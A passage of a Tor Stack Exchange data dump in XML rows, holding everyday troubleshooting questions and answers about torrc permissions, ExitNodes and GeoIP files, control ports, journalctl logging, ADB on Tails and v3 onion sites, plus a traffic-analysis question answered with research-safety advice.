  <row Id="21854" PostTypeId="1" CreationDate="2020-12-31T20:18:42.417" Score="0" ViewCount="760" Body="&lt;p&gt;I just installed Tor on my server and am still using default torrc. It's Ubuntu 20.04.&lt;/p&gt;&#xA;&lt;p&gt;systemctl reports it's active, but ps doesn't list it. /var/log/tor is empty, its permissions is&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;drwxr-s---  2 debian-tor adm    4096 dez 31 16:18 ./&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;/etc/tor is&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ll /etc/tor&#xA;total 32&#xA;drwxr-xr-x   2 root root  4096 dez 31 16:34 ./&#xA;drwxr-xr-x 147 root root 12288 dez 31 16:34 ../&#xA;-rw-r--r--   1 root root  8888 dez 31 16:34 torrc&#xA;-rw-r--r--   1 root root  2087 dez 31 16:34 torsocks.conf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Verifying /var/log/syslog it seems it's unable to read /etc/tor/torrc:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Dec 31 16:21:32 Urubu4 tor[27542]: Dec 31 16:21:32.533 [notice] Tor 0.4.4.6 running on Linux with Libevent 2.1.11-stable, OpenSSL 1.1.1f, Zlib 1.2.11, Liblzma 5.2.4, and Libzstd 1.4.4.&#xA;Dec 31 16:21:32 Urubu4 tor[27542]: Dec 31 16:21:32.533 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Dec 31 16:21:32 Urubu4 tor[27542]: Dec 31 16:21:32.533 [notice] Read configuration file &amp;quot;/usr/share/tor/tor-service-defaults-torrc&amp;quot;.&#xA;Dec 31 16:21:32 Urubu4 tor[27542]: Dec 31 16:21:32.533 [notice] Read configuration file &amp;quot;/etc/tor/torrc&amp;quot;.&#xA;Dec 31 16:21:32 Urubu4 tor[27542]: Dec 31 16:21:32.534 [notice] Based on detected system memory, MaxMemInQueues is set to 8192 MB. You can override this by setting MaxMemInQueues by hand.&#xA;Dec 31 16:21:32 Urubu4 tor[27542]: Dec 31 16:21:32.534 [warn] Can't set a DirPort on a bridge relay; disabling DirPort&#xA;Dec 31 16:21:32 Urubu4 tor[27542]: Configuration was valid&#xA;Dec 31 16:21:32 Urubu4 tor[27546]: Dec 31 16:21:32.548 [notice] Tor 0.4.4.6 running on Linux with Libevent 2.1.11-stable, OpenSSL 1.1.1f, Zlib 1.2.11, Liblzma 5.2.4, and Libzstd 1.4.4.&#xA;Dec 31 16:21:32 Urubu4 tor[27546]: Dec 31 16:21:32.548 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Dec 31 16:21:32 Urubu4 tor[27546]: Dec 31 16:21:32.548 [notice] Read configuration file &amp;quot;/usr/share/tor/tor-service-defaults-torrc&amp;quot;.&#xA;Dec 31 16:21:32 Urubu4 tor[27546]: Dec 31 16:21:32.548 [warn] Could not open &amp;quot;/etc/tor/torrc&amp;quot;: Permission denied&#xA;Dec 31 16:21:32 Urubu4 tor[27546]: Dec 31 16:21:32.548 [warn] Unable to open configuration file &amp;quot;/etc/tor/torrc&amp;quot;.&#xA;Dec 31 16:21:32 Urubu4 tor[27546]: Dec 31 16:21:32.548 [err] Reading config failed--see warnings above.&#xA;Dec 31 16:21:32 Urubu4 systemd[1]: tor@default.service: Main process exited, code=exited, status=1/FAILURE&#xA;Dec 31 16:21:32 Urubu4 systemd[1]: tor@default.service: Failed with result 'exit-code'.&#xA;Dec 31 16:21:32 Urubu4 systemd[1]: Failed to start Anonymizing overlay network for TCP.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;What might be wrong?&lt;/p&gt;&#xA;" OwnerUserId="7058" LastActivityDate="2020-12-31T20:18:42.417" Title="Tor unable to read /etc/tor/torrc and isn't saving log on /var/log/tor" Tags="|configuration|log|" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="21855" PostTypeId="1" AcceptedAnswerId="21856" CreationDate="2020-12-31T20:20:50.490" Score="2" ViewCount="1281" Body="&lt;p&gt;My goal is to run tor as a socks proxy, mimicking user from Switzerland (on Windows).&lt;/p&gt;&#xA;&lt;p&gt;With &amp;quot;Tor Browser&amp;quot; distribution I was able to set country using &lt;code&gt;torrc&lt;/code&gt; file by adding:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ExitNodes {ch} StrictNodes 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;For some reason, when using standalone &amp;quot;Windows Expert Bundle&amp;quot; distribution and passing &lt;code&gt;ExitNodes&lt;/code&gt; as comman line argument this no longer works (bootstrap does not seem to complete).&lt;/p&gt;&#xA;&lt;p&gt;Here is how I run tor and output:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;C:\Users\Username\workspace\test&amp;gt;tor\Tor\tor.exe --SocksPort 9050 --StrictNodes 1 --ExitNodes &amp;quot;{ch}&amp;quot;&#xA;Dec 31 22:03:29.187 [notice] Tor 0.4.4.6 (git-2a8b789ea6f308d0) running on Windows 8 [or later] with Libevent 2.1.11-stable, OpenSSL 1.1.1i, Zlib 1.2.11, Liblzma N/A, and Libzstd N/A.&#xA;Dec 31 22:03:29.189 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Dec 31 22:03:29.213 [notice] Configuration file &amp;quot;C:\Users\Username\AppData\Roaming\tor\torrc&amp;quot; not present, using reasonable defaults.&#xA;Dec 31 22:03:29.215 [warn] Path for GeoIPFile (&amp;lt;default&amp;gt;) is relative and will resolve to C:\Users\Username\workspace\test\&amp;lt;default&amp;gt;. Is this what you wanted?&#xA;Dec 31 22:03:29.215 [warn] Path for GeoIPv6File (&amp;lt;default&amp;gt;) is relative and will resolve to C:\Users\Username\workspace\test\&amp;lt;default&amp;gt;. Is this what you wanted?&#xA;Dec 31 22:03:29.218 [notice] Opening Socks listener on 127.0.0.1:9050&#xA;Dec 31 22:03:29.218 [notice] Opened Socks listener on 127.0.0.1:9050&#xA;Dec 31 22:03:29.000 [warn] Failed to open GEOIP file C:\Users\Username\AppData\Roaming\tor\geoip.&#xA;Dec 31 22:03:29.000 [warn] We've been configured to use (or avoid) nodes in certain countries, and we need GEOIP information to figure out which ones they are.&#xA;Dec 31 22:03:29.000 [warn] Failed to open GEOIP file C:\Users\Username\AppData\Roaming\tor\geoip6.&#xA;Dec 31 22:03:29.000 [warn] We've been configured to use (or avoid) nodes in certain countries, and we need GEOIP information to figure out which ones they are.&#xA;Dec 31 22:03:29.000 [notice] Bootstrapped 0% (starting): Starting&#xA;Dec 31 22:03:31.000 [notice] Starting with guard context &amp;quot;default&amp;quot;&#xA;Dec 31 22:03:58.000 [notice] Application request when we haven't used client functionality lately. Optimistically trying directory fetches again.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE AND SOLUTION:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Adding &lt;code&gt;--GeoIPv6File &amp;lt;geoip6 file from distribution&amp;gt; --GeoIPFile &amp;quot;&amp;lt;geoip file from distribution&amp;gt;&amp;quot;&lt;/code&gt; worked for me.&lt;/p&gt;&#xA;" OwnerUserId="31477" LastEditorUserId="31477" LastEditDate="2020-12-31T22:09:55.043" LastActivityDate="2020-12-31T22:09:55.043" Title="Setting country using command line in standalone tor distribution" Tags="|configuration|windows|startup|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21856" PostTypeId="2" ParentId="21855" CreationDate="2020-12-31T20:43:36.173" Score="1" Body="&lt;p&gt;The error &lt;code&gt;Failed to open GEOIP file C:\Users\Username\AppData\Roaming\tor\geoip&lt;/code&gt; is the important one here. If tor can't open the geoip file, it doesn't have any location data for any relay.&lt;/p&gt;&#xA;&lt;p&gt;Since the path is relative, you need to run &lt;code&gt;tor.exe&lt;/code&gt; from the correct directory. So use the &lt;code&gt;cd&lt;/code&gt; command to change directories, probably to &lt;code&gt;C:\Users\Username\workspace\test\tor\Tor&lt;/code&gt;, before running &lt;code&gt;tor.exe&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-12-31T20:43:36.173" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21857" PostTypeId="2" ParentId="21855" CreationDate="2020-12-31T20:46:15.487" Score="1" Body="&lt;p&gt;Is there any specific reason for using command line parameters instead of torrc?&lt;/p&gt;&#xA;&lt;p&gt;I'd guess that cli parameters have precedence default settings, which it is using:&#xA;&lt;code&gt;[notice] Configuration file &amp;quot;C:\Users\Username\AppData\Roaming\tor\torrc&amp;quot; not present, using reasonable defaults.&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;It's also reporting it's not finding geoip:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Dec 31 22:03:29.215 [warn] Path for GeoIPFile (&amp;lt;default&amp;gt;) is relative and will resolve to C:\Users\Username\workspace\test\&amp;lt;default&amp;gt;. Is this what you wanted?&#xA;Dec 31 22:03:29.215 [warn] Path for GeoIPv6File (&amp;lt;default&amp;gt;) is relative and will resolve to C:\Users\Username\workspace\test\&amp;lt;default&amp;gt;. Is this what you wanted?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I'd suggest to make a clean install, outside user profile, and use torrc. U should have better chances to get it working.&lt;/p&gt;&#xA;" OwnerUserId="7058" LastActivityDate="2020-12-31T20:46:15.487" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21859" PostTypeId="1" CreationDate="2021-01-02T23:20:03.400" Score="1" ViewCount="1391" Body="&lt;p&gt;I am trying to open a control port on tor with the following command:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sudo -u debian-tor tor --CookieAuthentication 0  --ControlPort 9050 --SocksPort 50001&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;but it will only stay open for 5 or so seconds before closing.  Is there any way to fix this?&#xA;Logs (these are from when I first run the command):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Jan 02 18:37:54.600 [notice] Tor 0.3.5.12 running on Linux with Libevent 2.1.8-stable, OpenSSL 1.1.1d, Zlib 1.2.11, Liblzma 5.2.4, and Libzstd 1.3.8.&#xA;Jan 02 18:37:54.600 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Jan 02 18:37:54.601 [notice] Read configuration file &amp;quot;/etc/tor/torrc&amp;quot;.&#xA;Jan 02 18:37:54.611 [warn] Linelist option '__HashedControlSessionPassword' has no value. Skipping.&#xA;Jan 02 18:37:54.612 [warn] ControlPort is open, but no authentication method has been configured.  This means that any program on your computer can reconfigure your Tor.  That's bad!  You should upgrade your Tor controller as soon as possible.&#xA;Jan 02 18:37:54.619 [notice] Opening Socks listener on 127.0.0.1:50001&#xA;Jan 02 18:37:54.619 [notice] Opened Socks listener on 127.0.0.1:50001&#xA;Jan 02 18:37:54.619 [notice] Opening Control listener on 127.0.0.1:9050&#xA;Jan 02 18:37:54.619 [notice] Opened Control listener on 127.0.0.1:9050&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;torrc file:&#xA;&lt;a href=&quot;https://raw.githubusercontent.com/inyourface34456/torrc-file/main/torrc&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://raw.githubusercontent.com/inyourface34456/torrc-file/main/torrc&lt;/a&gt;&#xA;(i could not paste it in. i had to upload it to github)&lt;/p&gt;&#xA;" OwnerUserId="31489" LastEditorUserId="31489" LastEditDate="2021-01-03T13:02:42.970" LastActivityDate="2022-01-28T20:04:20.370" Title="Opaning a control port on Tor [SOLVED]" Tags="|connection|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="21860" PostTypeId="1" CreationDate="2021-01-03T15:51:54.460" Score="2" ViewCount="71" Body="&lt;p&gt;My setup is Windows 10 (ARM insider Preview), on a Mac (the new ARM based processor).&lt;/p&gt;&#xA;&lt;p&gt;I installed Tor Browser and on start-up it says that an update has occurred in the background and I need to restart the browser. I do this, but all I get is the same message.&lt;/p&gt;&#xA;&lt;p&gt;How do I resolve this please?&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="31496" LastEditorUserId="24966" LastEditDate="2021-01-03T18:08:13.063" LastActivityDate="2021-01-03T18:08:13.063" Title="Tor Browser on ARM - Message regarding background update" Tags="|tor-browser-bundle|windows|mac|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21861" PostTypeId="2" ParentId="21859" CreationDate="2021-01-03T18:10:55.017" Score="0" Body="&lt;p&gt;The answer was that &lt;code&gt;RunAsDaemon&lt;/code&gt; was enabled in the torrc, which moves tor to the background once it has finished binding any listening sockets. You can find the background tor process using &lt;code&gt;ps aux | grep -i tor&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2021-01-03T18:10:55.017" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21862" PostTypeId="1" AcceptedAnswerId="21863" CreationDate="2021-01-03T20:30:56.817" Score="0" ViewCount="2816" Body="&lt;p&gt;It seems that when I enable the control port on port 9051, the IP would be 127.0.0.1:9051.  When I visit the website, it says that it is a socks proxy, not an HTTP proxy.&lt;/p&gt;&#xA;" OwnerUserId="31489" LastEditorUserId="24966" LastEditDate="2021-01-03T20:54:02.937" LastActivityDate="2021-01-03T20:54:02.937" Title="Opening Control Port On Tor" Tags="|torsocks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21863" PostTypeId="2" ParentId="21862" CreationDate="2021-01-03T20:42:02.790" Score="0" Body="&lt;p&gt;You're enabling the control port on port 9051, and trying to connect in your browser to &lt;code&gt;127.0.0.1:9051&lt;/code&gt;? Tor's control port doesn't work like this. You need to communicate with the control port using Tor's &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/control-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;control protocol&lt;/a&gt;. It's easiest to use software that is designed to communicate with tor's control port like &lt;a href=&quot;https://nyx.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;nyx&lt;/a&gt;, or if you know Python then a library like &lt;a href=&quot;https://stem.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;stem&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2021-01-03T20:42:02.790" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21864" PostTypeId="1" CreationDate="2021-01-04T00:18:39.010" Score="0" ViewCount="147" Body="&lt;p&gt;I am trying to log tor with the following command:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;journalctl -f -u tor@default.service | echo &amp;lt; log.tor.txt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Is there anything that I should change?&#xA;Is this possible with journalctl? should I see something else?&lt;/p&gt;&#xA;" OwnerUserId="31489" LastActivityDate="2022-03-01T17:05:15.523" Title="Is it possable to manulaly log tor with journalctl" Tags="|configuration|log|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21865" PostTypeId="2" ParentId="8743" CreationDate="2021-01-04T09:45:47.910" Score="0" Body="&lt;p&gt;I've been able to setup ADB in Tails:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;On the computer:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt update&#xA;sudo apt install adb&#xA;sudo iptables -I OUTPUT -d localhost -o lo -p tcp --dport 5037 -m owner --uid-owner amnesia -j ACCEPT&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;On the phone:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Got to &lt;code&gt;Settings → System → About phone&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Hit 7 times on &lt;code&gt;Build number&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;In the previous menu, an entry &lt;code&gt;Developer options&lt;/code&gt; should appear now&lt;/li&gt;&#xA;&lt;li&gt;Open it, scroll down and activate &lt;code&gt;Android debugging&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Connect the phone to the computer&lt;/li&gt;&#xA;&lt;li&gt;Switch the USB mode to &lt;code&gt;File transfer&lt;/code&gt; or &lt;code&gt;Data&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Accept the access authorization on the phone&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;See &lt;a href=&quot;https://www.roneo.org/en/android-setup-adb-tails/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this post&lt;/a&gt; for reference and troubleshooting&lt;/p&gt;&#xA;" OwnerUserId="31318" LastActivityDate="2021-01-04T09:45:47.910" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21866" PostTypeId="2" ParentId="21864" CreationDate="2021-01-04T12:16:08.200" Score="0" Body="&lt;p&gt;It seems like redirecting the output of &lt;code&gt;journalctl&lt;/code&gt; is a bit tricky, see &lt;a href=&quot;https://unix.stackexchange.com/questions/170469/how-to-direct-the-journal-output-of-certain-units-to-a-particular-file&quot;&gt;this post&lt;/a&gt; for more context&lt;/p&gt;&#xA;&lt;p&gt;You may want to use&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sudo journalctl &amp;gt; complete.log.txt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Depending on your needs you can use &lt;code&gt;journalctl -f&lt;/code&gt; instead&lt;/p&gt;&#xA;&lt;p&gt;Then you can filter the results with&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;cat complete.log.txt | grep tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;See also &lt;a href=&quot;https://unix.stackexchange.com/a/360793/440770&quot;&gt;https://unix.stackexchange.com/a/360793/440770&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="31318" LastEditorUserId="31318" LastEditDate="2021-01-05T07:26:47.983" LastActivityDate="2021-01-05T07:26:47.983" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21867" PostTypeId="1" CreationDate="2021-01-04T14:13:47.543" Score="0" ViewCount="402" Body="&lt;p&gt;I'm doing a research on Onion routing (Tor). I've successfully set up a middle relay for the purpose of analyzing Tor traffic. I'd like to:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;See all circuits that my relay is currently part of&lt;/li&gt;&#xA;&lt;li&gt;See &amp;quot;unencrypted&amp;quot; Tor packets (512b cells) for exchanging keys and establishing tunnels (in Wireshark or similar)&lt;/li&gt;&#xA;&lt;li&gt;See unencrypted headers of encrypted data packets that has to be forwarded (instruction to forward packet to xyz relay)&lt;/li&gt;&#xA;&lt;li&gt;Configure a Tor client to use my relay when establishing a circuit&lt;/li&gt;&#xA;&lt;li&gt;See the establishment of circuits and tunnels from the Tor client's perspective&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;I'm looking for tools and techniques to achieve this. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="31504" LastActivityDate="2022-03-05T17:03:55.373" Title="How can I analyze Tor traffic on my relay?" Tags="|configuration|relays|client|traffic-analysis|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21868" PostTypeId="2" ParentId="21867" CreationDate="2021-01-05T15:47:27.943" Score="0" Body="&lt;p&gt;As always, please don't log any information on the public Tor network unless you're sure you're only logging your own personal information. Since the data you want to collect is sensitive, you should use a test Tor network generated using something like &lt;a href=&quot;https://github.com/torproject/chutney&quot; rel=&quot;nofollow noreferrer&quot;&gt;Chutney&lt;/a&gt;. See Tor's &lt;a href=&quot;https://research.torproject.org/safetyboard/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Research Safety Board&lt;/a&gt; for more information.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;See all circuits that my relay is currently part of&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I don't think tor exposes this information. You will need to add custom code to the relay to log when other nodes create new circuits at this relay and when they extend those circuits. If you want this information in real-time, you could expose it through tor's &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/control-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;control protocol&lt;/a&gt; as a custom command.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;See &amp;quot;unencrypted&amp;quot; Tor packets (512b cells) for exchanging keys and establishing tunnels (in Wireshark or similar)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;You might be able to use Wireshark, but it would be a pain to do. If you ignore the older tor link handshakes that include things like client authentication and renegotiation, the TLS connections might still be established with either your relay's certificate or the other relay's certificate depending on which relay first established the connection.&lt;/p&gt;&#xA;&lt;p&gt;It would probably be easiest to again add custom code to the relay to log this information after the link encryption has been removed.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;See unencrypted headers of encrypted data packets that has to be forwarded (instruction to forward packet to xyz relay)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;This information is part of the &lt;code&gt;Relay{Extend2}&lt;/code&gt; cell and is encrypted. You will need to log this information from within your relay by making custom changes to the tor code.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;Configure a Tor client to use my relay when establishing a circuit&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;You can use tor's control protocol to have a client use a custom circuit path. You can find an example here: &lt;a href=&quot;https://stem.torproject.org/tutorials/to_russia_with_love.html#custom-path-selection&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://stem.torproject.org/tutorials/to_russia_with_love.html#custom-path-selection&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;ol start=&quot;5&quot;&gt;&#xA;&lt;li&gt;See the establishment of circuits and tunnels from the Tor client's perspective&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;You can use tor's control protocol to list the client's circuits. You can find an example here: &lt;a href=&quot;https://stem.torproject.org/tutorials/examples/list_circuits.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://stem.torproject.org/tutorials/examples/list_circuits.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2021-01-05T15:47:27.943" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21870" PostTypeId="2" ParentId="21715" CreationDate="2021-01-07T08:59:24.120" Score="0" Body="&lt;p&gt;I know this is a little late in the day, but my company is working on a solution specifically designed for monitoring tor hidden sites.&lt;/p&gt;&#xA;" OwnerUserId="31518" LastActivityDate="2021-01-07T08:59:24.120" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21872" PostTypeId="1" CreationDate="2021-01-08T00:24:52.137" Score="0" ViewCount="139" Body="&lt;p&gt;Trying to troubleshoot browser crashes and would like to locate log files and also enable verbose logging. What directory would I find this in and how to increase log verbosity of the Tor Browser?&lt;/p&gt;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="31524" OwnerDisplayName="typist" LastEditorUserId="24966" LastEditDate="2021-01-08T02:17:31.007" LastActivityDate="2021-01-08T02:17:31.007" Title="Tor Browser Logging" Tags="|tor-browser-bundle|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21873" PostTypeId="1" CreationDate="2021-01-10T00:16:04.853" Score="3" ViewCount="731" Body="&lt;p&gt;What is requirements for Onion v3 sites?&lt;/p&gt;&#xA;&lt;p&gt;Greetings to the experts!&#xA;I'm not can open any v3-sites (htt_://56characters.onion), but only v2-sites (htt_://16characters.onion)&#xA;My noob brother must do something but not admits it, because now v3 never works anymore!&lt;/p&gt;&#xA;&lt;p&gt;When going to friend's house, his TBB does &lt;i&gt;always&lt;/i&gt; connect the same v3-sites properly.&#xA;Its been many months now I'm frustrated, this a list of some v3 that never connect...&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://vww6ybal4bd7szmgncyruucpgfkqahzddi37ktceo3ah7ngmcopnpyyd.onion&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://vww6ybal4bd7szmgncyruucpgfkqahzddi37ktceo3ah7ngmcopnpyyd.onion&lt;/a&gt;&#xA;&lt;a href=&quot;http://lldan5gahapx5k7iafb3s4ikijc4ni7gx5iywdflkba5y2ezyg6sjgyd.onion&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://lldan5gahapx5k7iafb3s4ikijc4ni7gx5iywdflkba5y2ezyg6sjgyd.onion&lt;/a&gt;&#xA;&lt;a href=&quot;http://dds6qkxpwdeubwucdiaord2xgbbeyds25rbsgr73tbfpqpt4a6vjwsyd.onion&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://dds6qkxpwdeubwucdiaord2xgbbeyds25rbsgr73tbfpqpt4a6vjwsyd.onion&lt;/a&gt;&#xA;&lt;a href=&quot;http://dlegal66uj5u2dvcbrev7vv6fjtwnd4moqu7j6jnd42rmbypv3coigyd.onion&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://dlegal66uj5u2dvcbrev7vv6fjtwnd4moqu7j6jnd42rmbypv3coigyd.onion&lt;/a&gt;&#xA;&lt;a href=&quot;http://7fa6xlti5joarlmkuhjaifa47ukgcwz6tfndgax45ocyn4rixm632jid.onion&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://7fa6xlti5joarlmkuhjaifa47ukgcwz6tfndgax45ocyn4rixm632jid.onion&lt;/a&gt;&#xA;&lt;a href=&quot;http://fjblvrw2jrxnhtg67qpbzi45r7ofojaoo3orzykesly2j3c2m3htapid.onion&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://fjblvrw2jrxnhtg67qpbzi45r7ofojaoo3orzykesly2j3c2m3htapid.onion&lt;/a&gt;&#xA;&lt;a href=&quot;https://p53lf57qovyuvwsc6xnrppyply3vtqm7l6pcobkmyqsiofyeznfu5uqd.onion&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://p53lf57qovyuvwsc6xnrppyply3vtqm7l6pcobkmyqsiofyeznfu5uqd.onion&lt;/a&gt;&#xA;htt_://answerszuvs3gg2l64e6hmnryudl5zgrmwm3vh65hzszdghblddvfiqd.onion&#xA;htt_://kx5thpx2olielkihfyo4jgjqfb7zx7wxr3sd4xzt26ochei4m6f7tayd.onion&lt;br/&gt;&#xA;.......   (need at least 10 reputation to post more than 8 links)&lt;/p&gt;&#xA;&lt;p&gt;The v2-sites connect properly. Can anybody know some requirements/settings might for v3-sites?&lt;br/&gt;&#xA;I'm even updated to TBB v9.5.4, but maybe 'update' was bad decision, instead of 'install' newer version to help?&#xA;With &amp;quot;Tools/WebDeveloper/Network&amp;quot;, the only thing presents to screen is outgoing GET, nothing come back!&#xA;This terrible because many sites now changing to v3, soon I'm to be deserted.&lt;/p&gt;&#xA;&lt;p&gt;==========================================================================&lt;/p&gt;&#xA;&lt;p&gt;Greetings Steve. The laptop with Win8.1, and now Im using the TBB 10.0.7.&lt;/p&gt;&#xA;&lt;p&gt;After installing 10.0.7, then I go straight to &lt;code&gt;about:preferences#tor&lt;/code&gt; to get this log....&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;1/10/21, 23:12:14.497 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;1/10/21, 23:12:14.497 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;1/10/21, 23:12:14.497 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;1/10/21, 23:12:14.498 [NOTICE] Opening Socks listener on 127.0.0.1:9150&#xA;1/10/21, 23:12:14.498 [NOTICE] Opened Socks listener on 127.0.0.1:9150&#xA;1/10/21, 23:12:14.498 [NOTICE] Renaming old configuration file to &amp;quot;C:\TBB-10.0.7\Tor Browser\Browser\TorBrowser\Data\Tor\torrc.orig.1&amp;quot;&#xA;1/10/21, 23:12:15.150 [NOTICE] Bootstrapped 5% (conn): Connecting to a relay&#xA;1/10/21, 23:12:15.359 [NOTICE] Bootstrapped 10% (conn_done): Connected to a relay&#xA;1/10/21, 23:12:15.602 [NOTICE] Bootstrapped 14% (handshake): Handshaking with a relay&#xA;1/10/21, 23:12:16.301 [NOTICE] Bootstrapped 15% (handshake_done): Handshake with a relay done&#xA;1/10/21, 23:12:16.303 [NOTICE] Bootstrapped 20% (onehop_create): Establishing an encrypted directory connection&#xA;1/10/21, 23:12:16.550 [NOTICE] Bootstrapped 25% (requesting_status): Asking for networkstatus consensus&#xA;1/10/21, 23:12:16.787 [NOTICE] Bootstrapped 30% (loading_status): Loading networkstatus consensus&#xA;1/10/21, 23:12:27.703 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no usable consensus.&#xA;1/10/21, 23:12:27.975 [NOTICE] 